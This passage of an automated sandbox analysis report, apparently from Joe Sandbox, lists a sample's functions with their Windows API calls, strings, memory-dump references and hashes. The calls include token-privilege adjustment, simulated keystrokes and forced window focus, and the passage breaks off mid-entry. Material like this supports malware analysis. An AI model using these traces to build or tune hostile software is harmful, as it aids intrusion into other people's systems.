Opcode Fuzzy Hash: 96a5f8743d05d62217137f8e566e8cea0dca781456fa4b80b9bef22cd91f9c91
Instruction Fuzzy Hash: 0AF068718006049AD7116F6658057BD76A06F4137BF21411FAC54A71C3CFBC55499A5A

Function 00EEAC68 Relevance: 1.7, APIs: 1, Instructions: 169COMMON

Download Yara Rule

APIs

Part of subcall function 00EEA4D8: GetFileAttributesW.KERNELBASE(?), ref: 00EEA4E3

CreateDirectoryW.KERNELBASE(?,00000000), ref: 00EEADCD

Memory Dump Source

Source File: 00000000.00000002.1361149548.0000000000EE9000.00000040.00000020.00020000.00000000.sdmp, Offset: 00EE9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee9000_egpTyFpA8v.jbxd

Similarity

API ID: AttributesCreateDirectoryFile
String ID:
API String ID: 3401506121-0
Opcode ID: cc027ea7805b725660c00381bae0f4c464f72387a46caf1fbed9bd71efd739f8
Instruction ID: 35fb0747f57d4271ab40a3a9352c1f4c01aa2ef29a55b5ee6a7a3ffea8bc05bb
Opcode Fuzzy Hash: cc027ea7805b725660c00381bae0f4c464f72387a46caf1fbed9bd71efd739f8
Instruction Fuzzy Hash: BC516F31A1024C96EF24DFA0D844BEF737AEF58700F04556DE60DE7290EB759A84C766

Function 00450C08 Relevance: 1.6, APIs: 1, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNELBASE ref: 00450CB7

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction ID: 7c7e074f336a42937a3dce3798dbc48e0badafa73efdac3245a950124125098c
Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction Fuzzy Hash: C431E878A001059BC71EDF08C48496AF7A5FB4A302B688796E80ACF356D735EDC5DBC5

Function 0046FCAC Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 0046FCB7

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 80403751bf3b16d130fa98fee565d852dc013c79ef609e8eb4bfe8f7e1b4d47b
Instruction ID: 44bab56dc2ab8cde32489e4452faf6fae7bf82cfed3cad65b5601ae687a505e6
Opcode Fuzzy Hash: 80403751bf3b16d130fa98fee565d852dc013c79ef609e8eb4bfe8f7e1b4d47b
Instruction Fuzzy Hash: D64116746043419FDB14DF14C444B1ABBE1BF49318F1998ADE9998B362C339EC49CF9A

Function 0046FD85 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 0046FD91

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 306c2ac41415c4d732e7e6e309be3f578cc410945c9c8b5e6cfba7a45f458898
Instruction ID: 439085dc1f81f91865e89fa979136bfc39d9dea6fb8828d7de2aa91255d95a6c
Opcode Fuzzy Hash: 306c2ac41415c4d732e7e6e309be3f578cc410945c9c8b5e6cfba7a45f458898
Instruction Fuzzy Hash: AF2122B4508301DFCB14DF24C444A1ABBE1BF88315F05896EE88A97722D739E819CB9B

Function 00454863 Relevance: 1.5, APIs: 1, Instructions: 36COMMON

Download Yara Rule

APIs

__lock_file.LIBCMT ref: 004548A6

Part of subcall function 00458B28: __getptd_noexit.LIBCMT ref: 00458B28

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: __getptd_noexit__lock_file
String ID:
API String ID: 2597487223-0
Opcode ID: b9695d503ee7f994f795ffc7e080404e98721d5803fd581efff59a5272cc581d
Instruction ID: 024d3bde10a8b930e4f3cc99fa0fa9a73826851c0073298ee905ef2063242ec2
Opcode Fuzzy Hash: b9695d503ee7f994f795ffc7e080404e98721d5803fd581efff59a5272cc581d
Instruction Fuzzy Hash: 6DF0D171800604ABDB11BFA288063AE36A0AF4032FF11440EBC14AA193CB7C8999DF49

Function 00434E4A Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,P@,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 00434E7E

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 2dd93781c175439e7f79cc2af7e1652528eb96ade003da7a7019c752bfbae299
Instruction ID: 5861b3b357ca51e8153b86b3d2f40e1ba728384ce97880f3152040741e909bf5
Opcode Fuzzy Hash: 2dd93781c175439e7f79cc2af7e1652528eb96ade003da7a7019c752bfbae299
Instruction Fuzzy Hash: 71F03071501711CFDB349F64D495853BBE1BF983297109A7FE5DA82610C739A844DF48

Function 00450791 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 004507B0

Part of subcall function 00437BCC: _memmove.LIBCMT ref: 00437C06

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: LongNamePath_memmove
String ID:
API String ID: 2514874351-0
Opcode ID: d05d2489b6ffe775fd90b2930d0f751ae442d4cc97b326ec77c5e4199fd6f31f
Instruction ID: fc88bcc2f343ae0f4136759ccf33e2f12a023531e6e99fe3a81a7dbb457308fc
Opcode Fuzzy Hash: d05d2489b6ffe775fd90b2930d0f751ae442d4cc97b326ec77c5e4199fd6f31f
Instruction Fuzzy Hash: 33E0867690422857C72096699C05FEAB7EDDB887A4F0441B6FC0CD7214D965AC848695

Function 00498E9F Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 00498EC1

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: __fread_nolock
String ID:
API String ID: 2638373210-0
Opcode ID: 36e66934677415102e9643fee0822ecf6e22e0db5db5ed1a6e3653ba213ae753
Instruction ID: 9d5468fba95894c9fe8c72ae71bab96c00bb209c8a5d318eee5a29343e75b5a6
Opcode Fuzzy Hash: 36e66934677415102e9643fee0822ecf6e22e0db5db5ed1a6e3653ba213ae753
Instruction Fuzzy Hash: 2AE092B0104B045FDB388A28D810BA377E1AB06305F00085EF6AAC3342EB667845C75D

Function 00EEA4D8 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?), ref: 00EEA4E3

Memory Dump Source

Source File: 00000000.00000002.1361149548.0000000000EE9000.00000040.00000020.00020000.00000000.sdmp, Offset: 00EE9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee9000_egpTyFpA8v.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 195c23eedc4a89e51baf60bc3cc3d10d01908f8b29aed20e491e172ce03d4d2a
Instruction ID: c02aea8adc0f00a7464bdd544fa6fba1d7230929cae3ad8837682d781f83ad58
Opcode Fuzzy Hash: 195c23eedc4a89e51baf60bc3cc3d10d01908f8b29aed20e491e172ce03d4d2a
Instruction Fuzzy Hash: F5E08C7090524CEBCB10CBA98948AED73A8AB05320F145A68E916E32C0D534AE44E652

Function 00EEA4A8 Relevance: 1.5, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?), ref: 00EEA4B3

Memory Dump Source

Source File: 00000000.00000002.1361149548.0000000000EE9000.00000040.00000020.00020000.00000000.sdmp, Offset: 00EE9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee9000_egpTyFpA8v.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 63700976fb5b8646ca9f82f7877e0f33cef2a649cb81b4b88ad66ba6039b9afc
Instruction ID: 6db3d34dae771b77f7a486504016c053f64876b31f7524e0728c4e6da1a66daf
Opcode Fuzzy Hash: 63700976fb5b8646ca9f82f7877e0f33cef2a649cb81b4b88ad66ba6039b9afc
Instruction Fuzzy Hash: B1D05E3090520CABDB10CAA599089D973A89705320F104768ED29932C0D571A9009761

Function 0045525B Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

__wfsopen.LIBCMT ref: 00455266

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: __wfsopen
String ID:
API String ID: 197181222-0
Opcode ID: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
Instruction ID: 5b0f97acc59a2e1cfeb8636f9b37e92f260b146d966c67c387968ab59869202a
Opcode Fuzzy Hash: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
Instruction Fuzzy Hash: 94B0927644020C77CE012A82EC02A593B199B41768F408061FF0C18162A677A6689A8A

Function 00EEBEC4 Relevance: 1.3, APIs: 1, Instructions: 21sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(000001F4), ref: 00EEBED9

Memory Dump Source

Source File: 00000000.00000002.1361149548.0000000000EE9000.00000040.00000020.00020000.00000000.sdmp, Offset: 00EE9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee9000_egpTyFpA8v.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 647f186050b41918f79179839cbc1a488579cc5f77474145a25b6e124dddc6ea
Instruction ID: c6aded937648befb4cc6db669f5d13de93cda29a9b9bbf0c1a7b623d5bd86fc9
Opcode Fuzzy Hash: 647f186050b41918f79179839cbc1a488579cc5f77474145a25b6e124dddc6ea
Instruction Fuzzy Hash: 7BE0BF7494020EEFDB10DFA5D5496DE7BB4EF04301F1005A1FD05E7690DB309E548A62

Function 00EEBEC8 Relevance: 1.3, APIs: 1, Instructions: 18sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(000001F4), ref: 00EEBED9

Memory Dump Source

Source File: 00000000.00000002.1361149548.0000000000EE9000.00000040.00000020.00020000.00000000.sdmp, Offset: 00EE9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee9000_egpTyFpA8v.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
Instruction ID: 780a4b036f2df0027d3beb2b99997bef859d6cb5f55a7da51c6cf2fbacf1802f
Opcode Fuzzy Hash: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
Instruction Fuzzy Hash: FEE0E67494020EDFDB00DFB5D5496DE7BB4EF04301F100161FD01E2290DB309D508A62

Non-executed Functions

Function 004BCABC Relevance: 75.9, APIs: 40, Strings: 3, Instructions: 632windowkeyboardCOMMON

Download Yara Rule

APIs

Part of subcall function 00432612: GetWindowLongW.USER32(?,000000EB), ref: 00432623

DefDlgProcW.USER32(?,0000004E,?,?,?,?,?,?), ref: 004BCB37
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 004BCB95
GetWindowLongW.USER32(?,000000F0), ref: 004BCBD6
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 004BCC00
SendMessageW.USER32 ref: 004BCC29
_wcsncpy.LIBCMT ref: 004BCC95
GetKeyState.USER32(00000011), ref: 004BCCB6
GetKeyState.USER32(00000009), ref: 004BCCC3
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 004BCCD9
GetKeyState.USER32(00000010), ref: 004BCCE3
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 004BCD0C
SendMessageW.USER32 ref: 004BCD33
SendMessageW.USER32(?,00001030,?,004BB348), ref: 004BCE37
ImageList_SetDragCursorImage.COMCTL32(00000000,00000000,00000000,?,?,?), ref: 004BCE4D
ImageList_BeginDrag.COMCTL32(00000000,000000F8,000000F0), ref: 004BCE60
SetCapture.USER32(?), ref: 004BCE69
ClientToScreen.USER32(?,?), ref: 004BCECE
ImageList_DragEnter.COMCTL32(00000000,?,?), ref: 004BCEDB
InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 004BCEF5
ReleaseCapture.USER32 ref: 004BCF00
GetCursorPos.USER32(?), ref: 004BCF3A
ScreenToClient.USER32(?,?), ref: 004BCF47
SendMessageW.USER32(?,00001012,00000000,?), ref: 004BCFA3
SendMessageW.USER32 ref: 004BCFD1
SendMessageW.USER32(?,00001111,00000000,?), ref: 004BD00E
SendMessageW.USER32 ref: 004BD03D
SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 004BD05E
SendMessageW.USER32(?,0000110B,00000009,?), ref: 004BD06D
GetCursorPos.USER32(?), ref: 004BD08D
ScreenToClient.USER32(?,?), ref: 004BD09A
GetParent.USER32(?), ref: 004BD0BA
SendMessageW.USER32(?,00001012,00000000,?), ref: 004BD123
SendMessageW.USER32 ref: 004BD154
ClientToScreen.USER32(?,?), ref: 004BD1B2
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 004BD1E2
SendMessageW.USER32(?,00001111,00000000,?), ref: 004BD20C
SendMessageW.USER32 ref: 004BD22F
ClientToScreen.USER32(?,?), ref: 004BD281
TrackPopupMenuEx.USER32(?,00000080,?,?,?,00000000), ref: 004BD2B5

Part of subcall function 004325DB: GetWindowLongW.USER32(?,000000EB), ref: 004325EC

GetWindowLongW.USER32(?,000000F0), ref: 004BD351

Strings

F, xrefs: 004BD235
pbO, xrefs: 004BCEAF
@GUI_DRAGID, xrefs: 004BCE9C

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: MessageSend$ClientScreen$ImageLongWindow$CursorDragList_State$CaptureMenuPopupTrack$BeginEnterInvalidateParentProcRectRelease_wcsncpy
String ID: @GUI_DRAGID$F$pbO
API String ID: 3977979337-3825772488
Opcode ID: c55fe5d49ce17c041ded3c31b610377931e21fbfcd58c5b5d0739d8f6d2d5c1d
Instruction ID: da00c101abf043f5c2e046148e0e216c354b2f2c7855d5e79985c903352dfd4f
Opcode Fuzzy Hash: c55fe5d49ce17c041ded3c31b610377931e21fbfcd58c5b5d0739d8f6d2d5c1d
Instruction Fuzzy Hash: 2242C034508640AFDB24DF28D8C4AAABFE5FF48310F14062EF6558B2B1C735E855DB6A

Function 00446F9E Relevance: 55.8, APIs: 19, Strings: 10, Instructions: 5018COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004471C3
_memset.LIBCMT ref: 00447539
_memmove.LIBCMT ref: 004476AC

Strings

Q\E, xrefs: 00447FCB
P\N, xrefs: 00481AB8
[:<:]], xrefs: 00447479
_D, xrefs: 004823CB
\b(?=\w), xrefs: 00483769
\b(?<=\w), xrefs: 00483773
3cD, xrefs: 004823A0
[:>:]], xrefs: 00447492
]N, xrefs: 00481A22
DEFINE, xrefs: 00482103

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: _memmove$_memset
String ID: ]N$3cD$DEFINE$P\N$Q\E$[:<:]]$[:>:]]$\b(?<=\w)$\b(?=\w)$_D
API String ID: 1357608183-451301767
Opcode ID: d53df95eecd5dc4d84c85546f1de09a013819b5b66be6a7f83fa02a21fd92729
Instruction ID: 0fd2dfe8a7d96896929e2d148bb67472aeb693eb3d259d1a8d8c72c36c3767ae
Opcode Fuzzy Hash: d53df95eecd5dc4d84c85546f1de09a013819b5b66be6a7f83fa02a21fd92729
Instruction Fuzzy Hash: 5B93B471E00215DBDB24DF58C881BAEB7B1FF48710F24856BE945AB391E7789D82CB48

Function 004348D7 Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 131keyboardthreadwindowCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(00000000,?), ref: 004348DF
FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 0046D665
IsIconic.USER32(?), ref: 0046D66E
ShowWindow.USER32(?,00000009), ref: 0046D67B
SetForegroundWindow.USER32(?), ref: 0046D685
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 0046D69B
GetCurrentThreadId.KERNEL32 ref: 0046D6A2
GetWindowThreadProcessId.USER32(?,00000000), ref: 0046D6AE
AttachThreadInput.USER32(?,00000000,00000001), ref: 0046D6BF
AttachThreadInput.USER32(?,00000000,00000001), ref: 0046D6C7
AttachThreadInput.USER32(00000000,?,00000001), ref: 0046D6CF
SetForegroundWindow.USER32(?), ref: 0046D6D2
MapVirtualKeyW.USER32(00000012,00000000), ref: 0046D6E7
keybd_event.USER32(00000012,00000000), ref: 0046D6F2
MapVirtualKeyW.USER32(00000012,00000000), ref: 0046D6FC
keybd_event.USER32(00000012,00000000), ref: 0046D701
MapVirtualKeyW.USER32(00000012,00000000), ref: 0046D70A
keybd_event.USER32(00000012,00000000), ref: 0046D70F
MapVirtualKeyW.USER32(00000012,00000000), ref: 0046D719
keybd_event.USER32(00000012,00000000), ref: 0046D71E
SetForegroundWindow.USER32(?), ref: 0046D721
AttachThreadInput.USER32(?,?,00000000), ref: 0046D748

Strings

Shell_TrayWnd, xrefs: 0046D660

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: Window$Thread$AttachForegroundInputVirtualkeybd_event$Process$CurrentFindIconicShow
String ID: Shell_TrayWnd
API String ID: 4125248594-2988720461
Opcode ID: b2054204fe0c43783bb53502750eec85b9c5e7030c88b0394cf9e90aeea6e103
Instruction ID: 3c3cdd204e17c654ccfdc0d646e0de93bad34e0c3e5f5e7c651125686986c36d
Opcode Fuzzy Hash: b2054204fe0c43783bb53502750eec85b9c5e7030c88b0394cf9e90aeea6e103
Instruction Fuzzy Hash: 86318671E403187BEB201F659C49FBF3F6CEB44B51F104136FA08EA1D1DA745D01AAAA

Function 00488310 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 224COMMON

Download Yara Rule

APIs

Part of subcall function 004887E1: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 0048882B
Part of subcall function 004887E1: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00488858
Part of subcall function 004887E1: GetLastError.KERNEL32 ref: 00488865

_memset.LIBCMT ref: 00488353
DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?,?,?,?,00000001,?,?), ref: 004883A5
CloseHandle.KERNEL32(?), ref: 004883B6
OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 004883CD
GetProcessWindowStation.USER32 ref: 004883E6
SetProcessWindowStation.USER32(00000000), ref: 004883F0
OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 0048840A

Part of subcall function 004881CB: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00488309), ref: 004881E0
Part of subcall function 004881CB: CloseHandle.KERNEL32(?,?,00488309), ref: 004881F2

Strings

, xrefs: 00488362
default, xrefs: 00488405
winsta0, xrefs: 004883C8

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360285046.00000000004F7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_430000_egpTyFpA8v.jbxd

Similarity

API ID: StationTokenWindow$AdjustCloseHandleOpenPrivilegesProcess$DesktopDuplicateErrorLastLookupPrivilegeValue_memset
String ID: $default$winsta0
API String ID: 2063423040-1027155976
Opcode ID: 27d1ff380190252940a3ab37a09bd6c3f955d4abbae5023588813535f2f29bb1
Instruction ID: d667821ef7a34ae685710729c38aed9cd40bfc1ddd7713faa3c2310b7b3558b9
Opcode Fuzzy Hash: 27d1ff380190252940a3ab37a09bd6c3f955d4abbae5023588813535f2f29bb1
Instruction Fuzzy Hash: 7E816AB1900209BFDF11AFA5CC45AEE7BB9FF04304F54456EF814A2261DB399E19DB28

Function 0049C75C Relevance: 28.3, APIs: 13, Strings: 3, Instructions: 280timefileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 0049C78D
FindClose.KERNEL32(00000000), ref: 0049C7E1
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 0049C806
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 0049C81D
FileTimeToSystemTime.KERNEL32(?,?), ref: 0049C844
__swprintf.LIBCMT ref: 0049C890
__swprintf.LIBCMT ref: 0049C8D3

Part of subcall function 00437DE1: _memmove.LIBCMT ref: 00437E22

__swprintf.LIBCMT ref: 0049C927

Part of subcall function 00453698: __woutput_l.LIBCMT ref: 004536F1

__swprintf.LIBCMT ref: 0049C975

Part of subcall function 00453698: __flsbuf.LIBCMT ref: 00453713
Part of subcall function 00453698: __flsbuf.LIBCMT ref: 0045372B

__swprintf.LIBCMT ref: 0049C9C4
__swprintf.LIBCMT ref: 0049CA13
__swprintf.LIBCMT ref: 0049CA62

Strings

%02d, xrefs: 0049C91B, 0049C925, 0049C973, 0049C9C2, 0049CA11, 0049CA60
%4d, xrefs: 0049C8CD
%4d%02d%02d%02d%02d%02d, xrefs: 0049C88A

Memory Dump Source

Source File: 00000000.00000002.1359744564.0000000000431000.00000020.00000001.01000000.00000003.sdmp, Offset: 00430000, based on PE: true

Associated: 00000000.00000002.1359716672.0000000000430000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360151080.00000000004E4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1360242754.00000000004EE000.00000004.00000001.01000000.00000003.sdmpDownload File
